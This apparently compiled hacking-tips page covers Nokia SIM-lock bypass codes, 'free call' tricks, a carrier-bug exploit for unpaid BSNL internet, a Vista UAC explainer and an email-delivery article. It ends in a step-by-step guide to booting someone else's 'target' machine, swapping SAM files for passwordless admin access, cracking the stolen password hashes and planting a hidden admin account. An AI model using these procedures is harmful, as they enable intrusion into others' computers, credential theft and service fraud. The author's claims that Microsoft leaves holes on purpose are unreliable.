The phone now says: PIN CODE CHANGED (or ACCEPTED)
and the SIM card is accepted until you restart the phone again.

NOTE: On vesion 5.04 Nokia has removed this option !

update:
There s another Nokia service provider lock generator for DOS (somehere on the net) called 5161un.zip (for Nokia 51xx-61xx models) This program uses the #pw+(master code)+1# code to unlock the phone. With this software you need to have a access to the eeprom..
---------------------------------------------------------

Bypass the SP-lock

With a Nokia 16xx/21xx/31xx/51xx/81xx that are SIM locked to one privider you can bypass the SP lock like this:

Insert sim card of diferent provider.

Turn on the phone and press the UP VOLUME key for 3 sec. then release it and the phone says PIN CODE ?

Press the "C" key.

Then Press * and wait until it desapear and apear again, then press * one more time and 04*PIN*PIN*PIN#

The phone now says: PIN CODE CHANGED (or ACCEPTED)
and the SIM card is accepted until you restart the phone again.

update:
On version 5.04 Nokia has removed this option !
---------------------------------------------------------

How to open lock 1 and 4?
You will need Winlock software and MBUS cable to do this. Winlock is a Nokia service program that you can use to open lock 1 and 4, really you are closing locks when you do that, but when you write ????? at MCC+MNC and MSIN text box, the phone don t understand it and consider that it s open.

That trick only works for lock 1 and 4, but not for lock 2 and 3. If you did not know your lock type, please read our miscellaneous tips page first. or read at above section in this page.

Install winlock 1.10
Connect your MBUS nokia data cable
Run Winlock
Push Read Phone, if you have Lock 2 or Lock 3 closed you can not open your phone, but you can try change Lock 2.
Select State Close in Lock 1 and Lock 4, fill out MCC+MNC and MSIN text boxes with ??????? and Push Close Locks.
Now you can use any operator card in your phone. If you get any error when you do that do the following steps:
Select State Automatic in Lock 1 and Lock 4 and change type to User in Lock 1 and Lock 4, fill out MCC+MNC and MSIN text boxes with ?????????? and Push Close Locks.
Select State Automatic in Lock 1 and Lock 4 and change type to Factory in Lock 1 and Lock 4, fill out MCC+MNC and MSIN text boxes with ?????????? and Push Close Locks.
If you continue getting errors you must turn off your phone and reset computer and try again.
---------------------------------------------------------

How to open lock 2?

When operators companies close lock2 you can only use the contract or prepaid card for this operator, but you can use another operator company prepaid card if you know what GID1 must write.

Install Winlock
Run Winlock
Configure Winlock. Select menu Winlock->Defaults and change GID byte count to 2.
Push Read Phone, and write down GID1 info that appear in lock 2.
Insert the prepaid card from a different operator company.
We must find out a the GID1 info adecuate for our new prepaid or contract card, take a look at our GID1 list and check if your operator and SIM card type is included, if not try to get a phone that have lock 2 closed and have the SIM card type that you want to use in your phone, and read GID1 info with winlock. You can try to write the most used GID1 codes like 0000,10FF,01FF, or FFFF, etc.
Change Lock 2 Type from User To Factory or from Factory to User.
Push Close Locks
Your phone will be reset every time you push Close Locks, if your card is not acepted the GID1 is not correct, repeat from step 4 until you find the correct GID1.
If you get error you must turn off your phone and reset computer and try again.
If you want your phone accept your original prepaid card write in GID1 the code you read at step 2 and close locks.
Exist a GID1 list?

In addition to the official way to open locks that Nokia service centers use with TDB4 or TDF-4(for WinTesla) security boxes, there is two secrets methods:

Opening the phone and adding a chip inside phone motherboard. But you will loose any warranty of your phone.
Using a special software with a MBUS Nokia cable. I don t have this software. Please don t bother me asking me about that. The only thing i know about that is that a friend is removing lock 2 using a special software. He don t make this for money, only for fun.
--------------------------------------------------------

Main Code #pw+(master code)+Y#
This code is able to check, activate or remove Sim card restriction (SP-lock).

Use the * key to get the p, + and w chars.
Y has to be 1,2,3 or 4 - depending of what lock you what to deal with.

#pw+1234567890+1# for Provider-Lock status
#pw+1234567890+2# for Network-Lock status
#pw+1234567890+3# for Provider(???)-Lock status
#pw+1234567890+4# for SimCard-Lock status

(master code) is a 10 digit code, based on the phones IMEI number.

update:
I get report that told me the code didn t works for Optimus Card
---------------------------------------------------------
Enhanced Full Rate Codec (EFR)
Enhanced Full Rate will give you much better sound quality when you enable it. The new Enhanced Full Rate CODEC adopted by GSM uses the ASELP (AlgebraicCode Excitation Linear Prediction) compression technology. This technology allows for much great voice quality in the same number of bits as the older Full Rate CODEC. The older technology was called LPC-RPE (Linear Prediction Coding with Regular Pulse Excitation). Both operate at 13 kilobits.(but you take up more space on the network, so they can charge you more)

*3370# and EFR will be activated after a reboot of the phone ( consumes more power )

#3370#
and EFR will be switched off after a reboot of the phone.
---------------------------------------------------------

Half Rate Codec (HR)
Half Rate will give you bad sound quality, which gives the service provider the opportunity to have more calls on the network; and you might get a lower charge from them. (Will give you 30% longer talk-time)
*4720# Half Rate coded will be activated after a reboot of the phone ( better standby time )

#4720# Half Rate coded will be de-activated after a reboot of the phone
---------------------------------------------------------

Unblocking Code
Unblock PIN1 : **05*PUK*newPIN1*newPIN1#@
UnBlock PIN2 : **052*PUK2*newPIN2*newPIN2#@
---------------------------------------------------------

Hiding your phone number
Dial 141 then the number you want to call eg. 141#######
This should stop your number been sent to the caller. (*)
(*) This only works on UK phones, if anybody has tried this and works, please let me know.
---------------------------------------------------------

Unlocking PIN2 for software version
V 05.07
20.11.98
NSE-1

If your SimCard is locked by your SP, you can check it and if it is, you will get the "wrong code" message on the display (for use 1234567890)
If your SimCard is locked by your SP, you can t unlock PIN2 !
---------------------------------------------------------

Blocking phone number at Cantel AT&T

If you have one of those cantel at&t phones if you press #0000# you can block your number
at no extra charge.
---------------------------------------------------------

New Menu on Emergency Calls *3001#12345#

Brings a new menu that gives you access to the emergency calls ( 911 Etc. ). It will give you FREE calls! (only the ones you put in the emergency!! )

This option will depend on your GSM operator
---------------------------------------------------------

Your number in your display
Goto menu 3-7 Call cost settings.
Turn ON the Call costs limit 3-7-1. PIN2 code Required.
Put in the limit with the phone number.
eg. my phone # is 019 2184697
Enter the limit as 2184697
Goto menu 3-7-2 Show costs in. PIN2 code Required.
Select Currency.
Enter Unit price : 1
Enter Currency name as 019 (per my phone # eg. above)
Now the phone number 019 2184697 will remains on the 4th row of the display.
Secondly, if you press the # key, it prompt which line to be used; Line 1 or 2.
---------------------------------------------------------
Free Call Tip

The tips needs Net Monitor enabled. Be aware that the trick will remove Netmonitor in some sw versions like v4.73 and v5.04.
Launch the Net Monitor in your Nokia 51xx / 61xx
Execute the test number 497
Free calling for about 90 sec should now have been activated.
---------------------------------------------------------

Nokia 5110 PIN-Out

Pin-Outs: Bottom view, keyboard up, counting from the left

V V 1 2 3 4 5 6 V
(o) | | [= = = = = =] | |
7 8 9 10 11 12

1 - VIN CHARGER INPUT VOLTAGE 8.4V 0.8A
2 - CHRG CTRL CHARGER CONTROL PWM 32Khz
3 - XMIC MIC INPUT 60mV - 1V
4 - SGND SIGNAL GROUND
5 - XEAR EAR OUTPUT 80mV - 1V
6 - MBUS 9600 B/S
7 - FBUS_RX 9.6 - 230.4 KB/S
8 - FBUS_TX 9.6 - 230.4 KB/S
9 - L_GND CHARGER / LOGIC GND

Nokia 61xx
__________

Firmware version
*#0000# or *#61x0#
IMEI Code
* # 06 #
Warranty Codes
*#92702689# (= *#war0anty#)

Just scroll down through the information. If entering the above code requires a
further warranty code try entering the following:

6232 (OK) : Month and year of manufacture
7332 (OK) : Last repair date
7832 (OK) : Purchase date (if previously set)
9268 (OK) : Serial number
37832 (OK) : Set purchase date (this can only be done once)
87267 (OK) : Confirm transfer

Enhanced Full Rate (EFR) and Half Rate Mode (HFR)

*3370# to activate Enhanced Full Rate - Makes calls sound better, but
decreases the battery life by about 5%.(I recommend this one)
#3370# to deactivate Enhanced Full Rate
*4720# to activate Half Rate Mode - Drops call quality, but increases battery
life by about 30%.
#4720# to deactivate Half Rate Mode

Nokia 81xx
_____________

Show IMEI code
* # 06 #
Software Version
* # 8110 #
This code shows you software version, date of manufacture and hardware number of your phone.

Warranty Codes
*#92702689# (= *#war0anty#)

Just scroll down through the information. If entering the above code requires a
further warranty code try entering the following:

6232 (OK) : Month and year of manufacture
7332 (OK) : Last repair date
7832 (OK) : Purchase date (if previously set)
9268 (OK) : Serial number
37832 (OK) : Set purchase date (this can only be done once)
87267 (OK) : Confirm transfer

Sim Clock information

To check if the Sim-Clock can be stopped type: *#746025625# (= *#sim0clock#)

Nokia 8810
____________
Firmware version
*#0000# or *#8810#
IMEI Code
* # 06 #
Warranty Codes
*#92702689# (= *#war0anty#)

Just scroll down through the information. If entering the above code requires a
further warranty code try entering the following:

6232 (OK) : Month and year of manufacture
7332 (OK) : Last repair date
7832 (OK) : Purchase date (if previously set)
9268 (OK) : Serial number
37832 (OK) : Set purchase date (this can only be done once)
87267 (OK) : Confirm transfer

Enhanced Full Rate (EFR) and Half Rate Mode (HFR)

*3370# to activate Enhanced Full Rate - Makes calls sound better, but
decreases the battery life by about 5%.(I recommend this one)
#3370# to deactivate Enhanced Full Rate
*4720# to activate Half Rate Mode - Drops call quality, but increases battery
life by about 30%.
#4720# to deactivate Half Rate Mode

BSNL hack for Internet

BSNL hack for Internet
Free gprs in bsnl

here are the steps to perform:-

Logic: the server has a major bug in it, by which it fails to block two simultaneous connections from the phone and establishes a connection with full internet working,

Supported devices: all phones with multichannel gprs support

For connection on your mobile phone:-

1) Make two connections like bsnlportal and BSNLPORTAL1

(names of profile don’t matter, u can keep one as billgates and shahrukhkhan lol..the basic purpose of names is to enable the user to differentiate between the two accounts,)

2) Select the application you got to have the full connection working on.
Surpassingly “web” now just select “bsnlportal” profile and select a link like wap.cellone.in the page will get open, just press the red button such that the “web” application goes in the background.
Make sure that the gprs connection is still established with the web app. Two parallel lines on the top left of the screen will confirm this

3) Now open any other app that requires web connection like opera. Select BSNLPORTAL and open any other link like wap.google.com, u will get error –

the aim of using the other app is to perform multi-channel gprs,
this is verified by seeing some dots on the pre-existing connection established by “web”

(step 2)

“Access denied.

Technical description:
403 Forbidden - You are not allowed to communicate with the requested resource.”

4) close opera and open web and open a site like esato.com

5) if everything is done as said here then esato will load and voila! We have the whole internet!

For connection on pc.

1)create a connection and enter the number to be dialed as *99***1#

2) enter the following string as extra initialization command

3)now dial from pc, the connection will be established

4)pick the phone and open “web” open “wap.cellone.in” the phone shows error .

5) close “web” and then from the browser open www.google.com
and voila! The whole intenet is here

settings for profiles

apn: celloneportal
ip: 192.168.51.163
port : 8080

leave other fields blank as they are of the least concern!

the browser settings on pc too go the same as mentioned above!

windows Vista user access control UAC
Microsoft's advertising has stressed the new security features found in Windows Vista. From the user perspective, one such feature, User Access Control, is arguably the most noticeable enhancement. User access control is a mechanism by which users -- even administrators -- perform common Windows tasks with non-administrative rights, or as a standard user. Before administrative tasks can be performed, users must actively approve actions that could be potentially dangerous to the computer.
In this article, I'll give you a complete look at User Access Control's inner workings and show you some ways you can change the behavior of this new feature.

How does User Access Control work?

The inner workings of User Access Control reveal a lot about how this feature protects your computer. First, let's talk about why User Access Control was developed.

The problem: Windows XP and silent installations

In pre-Vista versions of Windows, upon login, a user was assigned an access token. A non-administrative user was assigned a token that granted him access to resources that did not require administrative rights. Users that were members of an administrative group were assigned a single token that granted them full rights to all of the resources on the local computer.
From an ease-of-use perspective, this level of authority was great. However, from a security perspective, it's not so great; even for IT pros. Consider the potential for "drive-by" spyware installation. A drive-by installation happens when you visit, either accidentally or intentionally, a site containing malicious code that you don't know about. While spyware scanners have significantly improved over the past couple of years, there's not a single solution on the market that will protect against every known threat. Even if there was such a product, there would still be the issue of unknown threats. New spyware pops up every day and it takes vendors time to discover these new nuisances and update their products.
If you're logged in to Windows XP as a user with administrative privileges at the time the drive-by takes place, spyware may get installed to your computer with absolutely no notice to you. This spyware could be anything from a fairly innocuous tool to a key logger that keeps track of everything you type and sends the results to a predetermined location. You might end up with the installation of a back door that allows a hacker to make his way into your system at some point in the future to achieve his nefarious goals. Worse, the deeper spyware is embedded into your system, the more difficult it is to remove, short of a complete system rebuild, which can take hours.
Note: When you install Windows XP, the Setup Wizard assigns administrative rights to all local accounts.
Now, you might tell yourself you already knowall of this; but, in your organization, you're forced to allow users to run as a local administrator for any number of reasons. For example, many users (with the backing of management) feel it is vital that they have the ability to install new applications on their desktop. Unfortunately, they're often right. Doing business on the Web often means having to install a new ActiveX control or other type of application. While not the safest behavior, allowing people to do their jobs is preferable to paying people to sit in a chair doing nothing under the unyielding thumb of IT.

The solution: Windows Vista and User Access Control

Windows Vista's introduction of User Access Control aims to tame this beast and bring some order back to chaos. Under Vista, when an administrative user logs in to the system, he is granted not one, but two access tokens: an administrative access token and a standard user access token. The standard access token is used to start the user's desktop. The end result is that the administrator is running a system with more limited rights than he would have received upon login under Windows XP. Until there is a need, the second token -- the one with administrative rights -- is not used.
This situation takes place, for example, when the administrative user starts a control panel applet and tries to change a setting, Windows Vista's User Access Control feature pops up a window indicating that permission is necessary to continue. When you choose to allow an administrative action to take place using the administrative token, you are allowing that application to run with elevated privileges. Figure A gives you a look at a typical User Access Control dialog box. If you want to allow the action, press the Continue button.
Figure A

User Access Control asks if you want to proceed with the action.

If you've seen the Mac v. PC commercials on Apple's Web site, you'll recognize this dialog box as being the point of discussion between the PC and the Mac with a security guard standing behind the PC to verify every communication with the Mac. In reality, the situation is not quite that bad. In fact, although annoying from time to time, the situation is much better as the new system provides a visual cue that something is going on and gives a user an opportunity to decline an action.
Annoyance is one of the results I will try to help you with in this article. I'll show how you can disable User Access Control altogether, and how to indicate that specific applications should always run in an elevated state.

Completely disabling User Access Control

I'll preface this section by saying I don't recommend you take this action, even on your own computer. Much as I am loathe to admit it, even though I preach the dangers of the "blind click" on a pop-up and the resulting spyware that ensues to students and users, I sometimes forget my own advice. Last summer, when I was in a hurry to complete a task, I got what appeared to be a system dialog box and pressed the OK button. Just as I released the mouse button, I realized that the "OK button" I had just pressed was actually a pop-up from a Web site. Just hours later, my system was infested with spyware.
The lesson here is this: Even those of us that do this for a living fall victim to spyware. With User Access Control, at least there is one more barrier between us and them.
But, if you find that User Access Control is seriously debilitating, you candisable it and move on. There are a number of ways to disable User Access Control. I'll show you how to do so using the Control Panel, the Registry Editor, and Group Policy.
All of the solutions in this article require that you log on as a user with administrative rights. For most solutions, however, you cannot use the local administrator account. This account is not subject to administrative approval. Use another account that is a member of the local administrators group.

Disable User Access Control using MSConfig

For a few machines, you can use MSConfig to change the behavior of User Access Control:

Go to Start | All Programs | Accessories | Run.

In the Run box, type "msconfig", and press [Enter].

From the System Configuration window, choose the Tools tab, as shown in Figure B.

In the Tool Name column, look for the Disable UAC option.

Press the Launch button.

Reboot the system.

Figure B

The System Configuration window Tools tab.

Disable User Access Control via the Control Panel

If you have just a couple of machines, the easiest way to disable User Access Control is to disable the feature via the Control Panel. Follow these steps to achieve this goal:

Go to Start | Control Panel.

Viewing the Control Panel in "Classic" mode, choose the User Accounts applet. This opens the screen shown below in Figure C.

Figure C

The User Accounts control panel applet.

Choose the "Turn User Account Control on or off" option. Note that this applet has a little shield next to it. This shield indicates that this function is itself protected by User Account Control.

Deselect the checkbox next to Use User Account Control (UAC) To Help Protect Your Computer. See Figure D.

Figure D

The User Accounts control panel applet.

Press OK.

Reboot your computer for the changes to take effect.

Disable User Access Control via the Registry Editor

A second way to disable User Access Control involves the use of the registry editor. By changing a specific key on each Vista machine, you can disable User Access Control. Here are the steps:

Start the Registry Editor.

Browse to the following key: HKEY_LOCAL_MACHINE Software Microsoft Windows CurrentVersion Policies System.

Change the value of the EnableLUA entry to "0" If you ever want to re-enable User Access Control, follow these instructions, but change the value of the EnableLUA entry to "1". See Figure E for a look at the screen.

When you are done, reboot the computer for the change to take effect.

Figure E

The EnableLUA key in the Registry Editor.
Manage/Disable User Access Control via Group Policy

If you have a lot of computers and you want to change User Access Control behavior across all of them, your best bet is to use Group Policy. The Group Policy method is also the most granular of the bunch and allows you to set a variety of parameter related to User Access Control. I'll show you how to accomplish this using the local group policy administrative tool.

Go to Start | All Programs | Accessories | Run.

In the Run box, type "secpol.msc" and press [Enter].

When User Account Control asks for permission to continue, press the Continue button.

Browse to Computer Configuration | Windows Settings | Security Settings | Local Policies | Security Options. You'll see the screen shown in Figure F.

Select the group policy object you wish to modify and change the setting to the desired value. The list below provides you with a look at all of the group policy settings associated with User Access Control.

Figure F

The Group Policy Object Editor.

There are a number of options related to User Access Control:

User Account Control: Behavior of the elevation prompt for the built-in Administrator account -- This setting determines the behavior of User Access Control when used with the built-in Administrator account.

Enabled: When running an application that needs administrative rights, the built-in Administrator account will be subject to User Access Control.

Disabled (default): The built-in Administrator account will run all applications without further prompting.

User Account Control: of the elevation prompt for administrators in Admin Approval Mode -- This setting determines what takes place when administrators (besides the built-in Administrator account) run a privileged application.

Elevate without prompting: This is the most dangerous setting and should be used only in very secure environments. Restricted applications are run with administrative rights without intervention.

Prompt for credentials: The user is prompted to provide the user name and password for a user with local administrative rights.

Prompt for consent (default): This is the normal behavior for User Access Control and asks the user (assuming the user has administrative rights) to permit or deny running an application with administrative rights.

User Account Control: Behavior of the elevation prompt for standard users -- This setting determines what takes place when standard users try to run a privileged application.

Prompt for credentials (Default for Home editions): The user is prompted to provide the user name and password for a user with local administrative rights.

Automatically deny elevation requests (Default for Enterprise editions): The user will receive a message indicating that access to the application has been denied.

User Account Control: Detect application installations and prompt for elevation -- How will the User Access Control system respond to requests for the installation of new programs?

Enabled (Default for home): Application installations that require administrative privileges will trigger the User Access Control prompt.

Disabled (Default for enterprise): Since many application installations are handled via Group Policy, user intervention and approval is not necessary.

User Account Control: Only elevate executables that are signed and validated -- Do elevated applications require a valid PKI certificate chain?

Enabled: Requires that an application has a valid PKI certificate chain before it is allowed to run.

Disabled (default): Does not require that an application be signed in order to run.

User Account Control: Only elevate UIAccess applications that are installed in secure location -- Applications that request execution with a UIAccess integrity level must reside in a secure area of the system.

Enabled (default): An application with UIAccess integrity with launch only if it resides in a protected area of the system.

Disabled: An application with UIAccess integrity will launch regardless of the location of the executable.

User Account Control: Run all administrators in Admin Approval Mode -- Run all users, including administrators, as standard users. This effectively enables or disables User Access Control. If you change this setting, you must reboot the system.

Enabled (default): Administrative Approval Mode and User Access Control is enabled.

Disabled: Disable User Access Control and Admin Approval Mode.

User Account Control: Switch to the secure desktop when prompting for elevation -- When User Access Control is enabled and displays an elevation prompt, change Windows Vista to the secure desktop as opposed to the standard user's desktop.

Enabled (default): Elevation requests are directed to a secure desktop.

Disabled: Elevation requests are directed to the standard desktop.

User Account Control: Virtualize file and registry write failures to per-user locations -- This setting enables the redirection of legacy application write failures to defined locations in both the registry and file system, mitigating those applications that historically ran as administrator and wrote runtime application data back to %ProgramFiles%, %Windir%; %Windir%\system32 or HKLM\Software\. In short, this key helps to maintain backward compatibility with legacy applications that do not like to run as a standard user.

Enabled (default): Applications writing data to protected areas will be redirected to other locations.

Disabled: Applications writing data to protected areas will fail.

Selectively disabling User Access Control

Not all applications are marked in such a way as to trigger a User Access Control warning when executed. However, many applications need to be run with administrative rights enabled in order to function as intended. In order to accommodate this situation, you can mark an application so it runs with administrative rights each time the application is executed. To do so:

Right-click the executable associated with the application.

From the shortcut menu, choose the Properties option.

From the Properties page, select the Compatibility tab.

Under the Privilege Level heading, select the checkbox next to "Run this program as an administrator" , as seen in Figure G.

Press OK.

Figure G

The application' s Compatibility tab.

For some applications, the "Run this program as an administrator" option may not be available. There can be a number of reasons for this:

You are not logged in as a user with administrative rights.

The application is not capable of being run with elevated rights.

The application is a part of the operating system. OS applications cannot be modified in this manner.

Annoying, but worth it

User Access Control might be an annoying way to achieve system security, but it's actually pretty welcome when it comes to maintaining system security, especially for home users. Mac and Linux users have long had to deal with the same basic security scheme, but it's new to Windows users. Once Windows users get used to it, they'll appreciate the added security it provides.

Why do some E-mails Take so Long to Deliver

Why do some E-mails Take so Long to Deliver

We have come to expect e-mails to take seconds to be delivered. We often regard e-mails as an instantaneous method of communication. Almost like a telephone call. We are very surprised if an e-mail takes over one hour to deliver. But did you know it can take days? This article gives the reasons for the speed of delivery and also the reasons why delivery can take days. Overview of E-Mail Delivery
Pressing the Send Button
After the e-mail has been written, composed and spell checked the send button is pressed. This causes the e-mail to be sent from the PC to a mail server known as a SMTP (Simple Mail Transfer Protocol) sever. This is usually operated by the ISP that you pay for your Internet connection or, if you are a business, the SMTP server than handles all outgoing mail. This rarely fails. If it fails it is usually because the SMTP server is down or the dial-up line is not connected.
Sender's SMTP Server Locates the Recipient's SMTP Server's IP Address
If the sender's domain name if different from the recipient's domain name the SMTP server cannot deliver the e-mail to the recipient. It needs to pass the message to an SMTP server that knows how to deliver the message. The sender's SMTP server tries to find the IP (Internet Protocol) address of the recipient's SMTP server. The Internet is a busy and congested place and this request could fail. The SMTP server does not give up at that point. It will try many times times before giving up. Most SMTP servers will try for five days before throwing in the towel! If you are lucky, some SMTP servers will inform the sender if the message cannot be sent within 24 hours, but still it will continue to try. Eventually, the SMTP will find the IP address of the recipient. Now it can try to pass the message on.
Sender's SMTP Server Passes Message to the Recipient's SMTP Server's
Now that the sender's SMTP Server knows the IP address (similar to a telephone number) of the recipient's SMTP server, it calls it and ask for permission to send the message. Most times this works but sometimes the recipient's SMTP server will reject the call. This can be for many reasons - such as the the server is too busy (especially when viruses are being propagated around the world). If it does fail, the sender's SMTP server will continue to try before giving up. Usually, the message will be sent to the recipient's SMTP server before the five days has passed. However, this is not the whole story. A recipient usually has 2 SMTP servers. Some organisation have many more - AOL has at least 4. If the main server is busy, the sender's SMTP server will also call any other of the recipient's servers.
Recipient's SMTP Server Passes Message to another SMTP Server
If the message was not passed to the recipient's SMTP server than can deliver the mail, the message will be passed to another SMTP server that may be closer to the recipient. Like the previous section, this could take seconds, minutes, hours or even days. This situation occurs a lot in business where the main receiving SMTP server is owned by a third party and checks all incoming e-mails for viruses and spam. If they pass the tests, the message is passed to the recipient's SMTP server.
Recipient's SMTP Server Places Message into Recipient's Mailbox
At last, the message has arrived at a SMTP server that knows where the recipient's mailbox is located. Once the message is in the mailbox it can be seen and viewed by the recipient. How Long Does it Take In over 95% of cases the above process takes less than a minute. Far quicker than it took to read the explanation. In a few cases the message could take as long as 5 days to complete its trip from sender to recipient. It rarely takes move than 5 days as one of the SMTP servers will send the message back as undeliverable. And yes, the e-mail that contains the error message could take 5 days to get back!

Self distructing Email - MI3

*****
one word - Just perfect

One of the best service i found online n using it too personally..

Big Brother is Watching

Every time that you send an email, copies are stored permanently on multiple email servers as well as the recipient's inbox and anyone they decide to send it to. Your emails can be stored and scanned in more places than you can imagine. Do you want people storing your email messages forever? Do you want something that you type today to be used against you tomorrow, next week, next month or even in the next decade?
Until now, everyone else has had control of the email that you have sent. BigString gives you back control of your email, acting like an automatic shredder for your email. You can self-destruct or change an email that's already been sent or read. Don't leave your messages sitting in peoples' inboxes forever. Get a free BigString email account to protect your privacy.

BigString takes the risk out of email

Now, with BigString, you can finally take the risk out of email and put an end to "sender regret." It is the world's first & only email service that thoroughly protects your safety and privacy.

BigString's exclusive, patent-pending technology enables you to prevent your personal or business information from lingering indefinitely in someone else's inbox. It also restricts private pictures or messages from being indiscriminately spread throughout cyberspace! Now your sensitive photos can't be posted to unseemly web sites or printed for circulation amongst total strangers.

BigString lets you have second thoughts
BigString shifts the control from the recipient to YOU the sender. BigString grants the luxury of second thoughts, the power to limit message viewings, and the choice to delay email transmission.

You can reword a message fired off in anger or haste or completely delete it! You can recall a botched résumé for revision or erase a tasteless joke. You can make a work of art or photograph print-proof. You can prevent a love letter from being forwarded. You can set an expiration date on an emailed price quote or business offer or you can simply pull back an email to eliminate typos.

BigString takes the danger out of clicking
BigString guarantees that clicking "send" will never again be an irreversible disaster. Now YOU decide the fate of your emails. You decide where they end up, who sees them and for how long. BigString emails can be destroyed, recalled or changed even after they've been opened! The freedom is yours, the options are yours, and you're the boss with BigString.

BigString is easy to use
BigString is as easy to use as any other email and there's nothing to download! Don't be resigned to the mercy of your recipient. You don't want your every action to be carved in stone because sometimes you just NEED to take it back!

Here are just a few of the many applications of BigString
Erasable, Recallable, Non-Printable Email.

Executives: Protect your business and safeguard your email. Now you never have to worry about sending the wrong attachment or completely forgetting it. Misspelled words, incorrect dates, or other typos can all be fixed even after your message has been sent. You can even "pull an email back" to delete expired price quotes, old business offers or dated legal material. BigString is your email insurance.

On-Line Daters: You don't want your personal information like pictures, phone numbers or intimate notes, circulated around the Internet! BigString prevents your pictures and messages from being printed or forwarded. You can set an expiration date for an email or self-destruct it at will. You can choose the number of times you'll allow a picture to be viewed before it disappears. BigString protects your privacy!

Artists and Photographers: Now with BigString you can confidently email proofs and samples without the slightest fear that they will be printed or saved for later use without your authorization. Use BigString to make your image non-savable and non-printable! Limit the number of times a client can view a piece before you have it self-destruct. You can even recall a sent email to delete an old price quote or alter a new one. You can also prevent it from being forwarded to other customers. BigString protects your rights of ownership!

Copywriters: Spelling or punctuation errors that can cost time, money, or embarrassment are now a thing of the past. With BigString, clicking "send" is no longer an action "carved in stone." Accidentally arranging paragraphs in the wrong order will no longer mean a lost account. With the technology of BigString you can recall that mistake-ridden copy and correct the errors even after your email has left the outbox. You can self-destruct what you sent all together and replace it with a fully revised version. Only you will know this switch has occurred! With BigString you can confidently send non-printable, non-savable sample copy. You no longer have to worry that it will be used without your knowledge. You're the boss with BigString.
http://www.bigstring.com/register/user/

SAM History n Hacking

SAM History n Hacking

1-Introduction

This article introduce very simple way to get Administrator like account and do the job and after finish recover your way, after that Get Admin Password later in your home by Cracking, After get the Admin Password Create a hidden user account and do all your jobs free, and Explain how to make a USB Storage Device Bootable corresponding to any system boot, and how to bypass Mother Board password by Default Passwords, and how to extract it if you are in the system

2-To Hackers / Security Systems Engineers

First All must know that both Hackers / Security Systems Engineers Are 2 faces to the same coin Any way, I try this on Windows XP SP2 I want all to try it on Windows Server 2003, Windows Vista Any Windows NT and POST a Message to make all know what versions exactly this idea can apply for
3-Close Look to hole
Microsoft stores all Security Information in many files but the main file is the SAM file (Security Accounts Manager)! this file contain critical information about users account you can explore the folder
$windir$\system32\config
You will find all things and may discover some thing new, but what amazing here is that the file is available, so we can apply our idea
shot1
You will Not be able To copy them Under XP
4-Dose Microsoft Know and Why!?
Yes Microsoft Know all things, and done on purpose why? I always for many years ask my self why Microsoft doesn’t do real security on their systems from the CD setup to all security aspects In the system, I found(my opinion may wrong)that they need to achieve 2 strategic things

1-They need their software spread and all depend on it and in one day when they feel that they are the One The security will done and all money will go to One Pocket

2-They Forced/Like to Make Some Organizations Hack other systems

Proof:
They can make this File SAM Unavailable by storing the information in FAT, FAT32, NTFS Areas (Sectors reserved by The Operating SYSTEM to Store the Addresses of the files on the HardDisk File Allocation Table) So that it is hard to extract. But they don't!!!!!
5-Understand the Idea
The Idea is simple I will explain it manually and it can then be programmed it is so easy here is the idea

The SAM file is available and the SAM file contain a Security Information, so I created a Free Windows XP SP2 Logon account (Administrator Account without password) that means when windows Lunch it Will enter directly to the system without asking about any password And windows will store this Account in The SAM file on My PC So the SAM file on My PC contain an Account will Make you enter Directly to the Windows, so I will take My SAM File and Replace (by renaming, we will need the original file to recover our way) It with the other SAM File in The Other System or Machine So When you restart It will make you enter directly to the Windows With Administrator Like Account ,do what you need and then back all things to the previous state. All These Steps will be under other system bootable DOS, Knoppiex, Windows Live CD, Because Windows XP will not make u able to copy the Files
6-Get Admin Like Account (The Simple Way)

1- Download My 2 SAM files I Include them in Downloads
2- Go to the target Machine , and try to Access it and Boot from any device CD-ROM, Floppy, NIC if it haven't any of those Read Hint 9
3- After Get Access to the Boot Command prompt c:> or Boot Live OS CD, Go to the windows folder $windir$\system32\config And Copy the SAM File and System File (we will need it later) To other folder, Then go to $windir$\repair copy SAM file
And then Rename the 2 SAM Files to SAM1 in their original places
4- Copy My SAM/config File and Paste it in the windows folder $windir$\system32\config Copy My SAM/Repair File and Paste it in the windows folder $windir$\repair (may this step not required)
5- Reboot and Make windows enter Normally
6- Yeah, No You are in The System
7- Copy the files in step 3 to Floppy Disk or Flash Stick Or Send it to your mail via Internet
8- After finish repeat step 2 and delete My SAM files and Rename Both SAM1 to SAM
9- Reboot , Congratulation you recover your way
7-Crack the SAM-Know the real Admin Password and Apply Hint 8
There is many ways I will introduce 2 ways and explain 1 After you get the SAM File and System File there are Programs That extract the Accounts and their passwords, depending on the idea of cracking the HASH (the HASH is one way encryption method) so that The program will generate random passwords and convert them to HASH and then compare it with the HASHES in the SAM File , so it may take a long time but for fast you will pay more money for ready made HASHES with their user names and passwords the 2 program are

1-L0phtcrack v4.0 (LC4 alternate name) the most famous on the NET
2-SAMInside http://www.insidepro.com/I include on the Downloads

I will explain fast SAMInside

shot1

This is the main window press Ctrl+O or by mouse click Import SAM and SYSTEM

shot1

Window will open to import the 2 files and the program will start to crack the Accounts and get them, and then display users names and their passwords

Any other tool will do the job try all and select your best I Explain here SAMInside because he give me results with 6 character only password and get it FAST
8-Creat a Hidden User Accountn
Windows NT / Windows 2000 and Windows XP has a security setting to hide accounts from the Logon Screen/Control panel users accounts

shot1
Press
Ctrl+Alt+Delet
Give you another Access Dialog

Steps:

1-After getting Admin Password enter to the system
2-create an Account with password
3-click start - > Run - > type Regedit press Enter
4-Go to
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\ CurrentVersion\Winlogon\SpecialAccounts\UserList

shot1

5- Create a new DWORD Value on the UserList
6-Name it with Name of Account to be Hidden
7-set the Value Data of this DWORD Value to 0 to hide it /1 to appear it
8- close Regedit and Reboot
9- Press Ctrl+Alt+Delete when logon Screen Appear another login dialog appear type You hidden user name and password and press Enter

Note:

1- the account profile will be visible in \Documents and Settings, But it will be hidden from Logon Screen and User Account in the control panel

2-there is other method that Inject your Account directly to the Admin SAM without know the Admin Pass, but believe me you don't Expect the result, so if you want try it (if the password hard to get)
9-USB Boot for FAT32, NTFS or any File System

HP Always amazing me to do this we need 2 tools

1- HP USB Disk Storage Format Tool v 2.0.6 I include in Downloads If u want to find more go to http://www.hp.com/
2- NTFSDOS Professional Boot Disk Wizard I include in Downloads If u want to find more go to http://www.winternals.com/

shot1

Just connect your USB Storage
steps:
1- Prepare a Startup Disk or Startup CD , Or any Equivalent
2- In the HP tool select the Device->your USB Storage
3- Select File System FAT or FAT32
